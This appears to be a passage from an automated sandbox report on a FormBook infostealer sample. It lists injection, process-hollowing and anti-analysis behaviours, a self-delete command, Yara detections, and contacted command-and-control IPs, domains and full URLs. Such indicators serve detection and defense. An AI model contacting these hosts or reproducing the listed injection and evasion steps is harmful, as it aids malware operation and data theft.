Source: C:\Windows\SysWOW64\cscript.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Thread register set: target process: 3440 Jump to behavior
Source: C:\Windows\SysWOW64\cscript.exe Thread register set: target process: 3440 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Section unmapped: C:\Windows\SysWOW64\cscript.exe base address: 240000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\4oItdZkNOZ.exe Process created: C:\Users\user\Desktop\4oItdZkNOZ.exe 'C:\Users\user\Desktop\4oItdZkNOZ.exe' Jump to behavior
Source: C:\Windows\SysWOW64\cscript.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\4oItdZkNOZ.exe' Jump to behavior
Source: explorer.exe, 00000002.00000000.359917632.0000000004F80000.00000004.00000001.sdmp, cscript.exe, 00000003.00000002.604223795.00000000032D0000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000002.00000002.603385565.00000000008B8000.00000004.00000020.sdmp, cscript.exe, 00000003.00000002.604223795.00000000032D0000.00000002.00000001.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000002.00000000.351192750.0000000000EE0000.00000002.00000001.sdmp, cscript.exe, 00000003.00000002.604223795.00000000032D0000.00000002.00000001.sdmp Binary or memory string: &Program Manager
Source: explorer.exe, 00000002.00000000.351192750.0000000000EE0000.00000002.00000001.sdmp, cscript.exe, 00000003.00000002.604223795.00000000032D0000.00000002.00000001.sdmp Binary or memory string: Progmanlock

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 00000003.00000002.604139164.0000000002B50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.603084616.0000000000300000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.388146852.00000000009F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.350827650.00000000026A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000001.345961312.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.387799349.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.387989609.00000000006A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 1.2.4oItdZkNOZ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.4oItdZkNOZ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.4oItdZkNOZ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.4oItdZkNOZ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.4oItdZkNOZ.exe.26a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.4oItdZkNOZ.exe.26a0000.2.unpack, type: UNPACKEDPE

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 00000003.00000002.604139164.0000000002B50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.603084616.0000000000300000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.388146852.00000000009F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.350827650.00000000026A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000001.345961312.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.387799349.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.387989609.00000000006A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 1.2.4oItdZkNOZ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.4oItdZkNOZ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.1.4oItdZkNOZ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.4oItdZkNOZ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.4oItdZkNOZ.exe.26a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.4oItdZkNOZ.exe.26a0000.2.unpack, type: UNPACKEDPE
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 385307 Sample: 4oItdZkNOZ.exe Startdate: 12/04/2021 Architecture: WINDOWS Score: 100 31 www.stkify.com 2->31 39 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->39 41 Found malware configuration 2->41 43 Malicious sample detected (through community Yara rule) 2->43 45 5 other signatures 2->45 11 4oItdZkNOZ.exe 18 2->11         started        signatures3 process4 file5 29 C:\Users\user\AppData\...\m9c3uhgbfqo.dll, PE32 11->29 dropped 55 Detected unpacking (changes PE section rights) 11->55 57 Maps a DLL or memory area into another process 11->57 59 Tries to detect virtualization through RDTSC time measurements 11->59 61 Contains functionality to prevent local Windows debugging 11->61 15 4oItdZkNOZ.exe 11->15         started        signatures6 process7 signatures8 63 Modifies the context of a thread in another process (thread injection) 15->63 65 Maps a DLL or memory area into another process 15->65 67 Sample uses process hollowing technique 15->67 69 Queues an APC in another process (thread injection) 15->69 18 explorer.exe 15->18 injected process9 dnsIp10 33 aksharnewtown.com 103.86.176.10, 49698, 80 WEBWERKS-AS-INWebWerksIndiaPvtLtdIN India 18->33 35 www.formula-kuhni.com 91.236.136.12, 49703, 80 WEBHOST1-ASRU Russian Federation 18->35 37 18 other IPs or domains 18->37 47 System process connects to network (likely due to code injection or exploit) 18->47 22 cscript.exe 18->22         started        signatures11 process12 signatures13 49 Modifies the context of a thread in another process (thread injection) 22->49 51 Maps a DLL or memory area into another process 22->51 53 Tries to detect virtualization through RDTSC time measurements 22->53 25 cmd.exe 1 22->25         started        process14 process15 27 conhost.exe 25->27         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
163.44.185.226
 www.tonton-koubou.com Japan 7506 INTERQGMOInternetIncJP true
104.21.37.16
 www.jabberjawmobile.com United States
13335 CLOUDFLARENETUS true
118.27.95.215
 www.yakudatsu-hikaku.com Japan 58649 GMO-REG-NETGMOInternetIncJP true
91.236.136.12
 www.formula-kuhni.com Russian Federation
44094 WEBHOST1-ASRU true
23.227.38.74
 shops.myshopify.com Canada
13335 CLOUDFLARENETUS true
34.102.136.180
 stacksyspro.net United States
15169 GOOGLEUS false
81.17.18.198
 www.xn--ol-xia.com Switzerland
51852 PLI-ASCH true
107.180.50.167
 alliedcds.com United States
26496 AS-26496-GO-DADDY-COM-LLCUS true
103.86.176.10
 aksharnewtown.com India
133296 WEBWERKS-AS-INWebWerksIndiaPvtLtdIN true

Contacted Domains

Name IP Active
alliedcds.com 107.180.50.167 true
www.tonton-koubou.com 163.44.185.226 true
www.yakudatsu-hikaku.com 118.27.95.215 true
www.xn--ol-xia.com 81.17.18.198 true
www.jabberjawmobile.com 104.21.37.16 true
stacksyspro.net 34.102.136.180 true
aksharnewtown.com 103.86.176.10 true
www.formula-kuhni.com 91.236.136.12 true
www.stkify.com 172.67.210.123 true
ugonget.com 34.102.136.180 true
shops.myshopify.com 23.227.38.74 true
investmentpartners.limited 34.102.136.180 true
www.aksharnewtown.com unknown unknown
www.stacksyspro.net unknown unknown
www.th0rgramm.com unknown unknown
www.investmentpartners.limited unknown unknown
www.rainbowsdepot.com unknown unknown
www.recovatek.com unknown unknown
www.alliedcds.com unknown unknown
www.selectenergyservicestx.com unknown unknown
www.ugonget.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.formula-kuhni.com/hx3a/?yvLp6=caEAE6TOQuxSMBR5BS8nf+GDaIfP+W5I+A7g/UPOg7+JEug9q1NgoLt4ZSWomvYtgt6I+7SvKg==&6l=t8eTzfA8rB7py true
  • Avira URL Cloud: safe
 unknown
http://www.tonton-koubou.com/hx3a/?6l=t8eTzfA8rB7py&yvLp6=vULSFbXUfWqfH/UQKANXmh//LRVD9fF+bm7wgJ2FfsCiVE70xyhWGRMHpQ9kpTkv8g1Bmau5WA== true
  • Avira URL Cloud: safe
 unknown
http://www.xn--ol-xia.com/hx3a/?yvLp6=o+3wYjNifdE6FKE0bOiznyo8jGn7vjVVrJpNZHKkq7PaCapngpRQoMcVskl66UoDGo5EztP+UQ==&6l=t8eTzfA8rB7py true
  • Avira URL Cloud: safe
 unknown
http://www.recovatek.com/hx3a/?6l=t8eTzfA8rB7py&yvLp6=fCmUcBRhMrUy3w+kl11B/xiypSW2fUD8cU7Pu3gqArK5c3pJn3j9k/DsIYu7GSRGk0uMV4XXlw== true
  • Avira URL Cloud: safe
 unknown
http://www.aksharnewtown.com/hx3a/?yvLp6=UKCdSLR+lyrQbbbCP2MhlUsk7yfSGMFZEurQt1OYEDE1Z8eZbIDIkuaz0L4nWes64WGYrYxAqg==&6l=t8eTzfA8rB7py true
  • Avira URL Cloud: malware
 unknown
http://www.jabberjawmobile.com/hx3a/?yvLp6=cNQmpavEJfLRVSDxdHUFAARwayWBvklnexOaeKif2gi+yGNN3QCAF1RUuDonfjyO2vX8uvakBQ==&6l=t8eTzfA8rB7py true
  • Avira URL Cloud: safe
 unknown
www.th0rgramm.com/hx3a/ true
  • Avira URL Cloud: safe
 low
http://www.investmentpartners.limited/hx3a/?yvLp6=brq1n3aPok8cFP+QyTVVGry8TF4KLIKYulSDbrE0IIbdXAl5b54voPCnFdnaruz10AJ9JKXZsg==&6l=t8eTzfA8rB7py false
  • Avira URL Cloud: safe
 unknown
http://www.stacksyspro.net/hx3a/?6l=t8eTzfA8rB7py&yvLp6=gkm2pEh8KEmpulawdvJ1V43zAdeU214KS2HTFZoK2O2SsOEqfkF7FZJwvCYR1UF8Rs6N914p1Q== false
  • Avira URL Cloud: safe
 unknown
http://www.yakudatsu-hikaku.com/hx3a/?6l=t8eTzfA8rB7py&yvLp6=tI3SrGzIvW6pivz42JGLXvW3gzDpE2zUYLW8n1w7wouCbacCZl2dqvUI+ajsT2GFRHOaP55G6g== true
  • Avira URL Cloud: safe
 unknown
http://www.alliedcds.com/hx3a/?6l=t8eTzfA8rB7py&yvLp6=3BonITYdxMn0gLM+WELVYgnSp+qYa6n19HgYUH50ozUw04GLDm+bjpbdD44/kvkXlDtuAUMMsA== true
  • Avira URL Cloud: malware
 unknown
http://www.ugonget.com/hx3a/?6l=t8eTzfA8rB7py&yvLp6=qBahC4CKT3yOn5twSoz5N4YsmdYqg0jdF6L89PfdPPedh7rnw+4FXiJe9HO6V7yUZIpJ8/Yz5A== false
  • Avira URL Cloud: safe
 unknown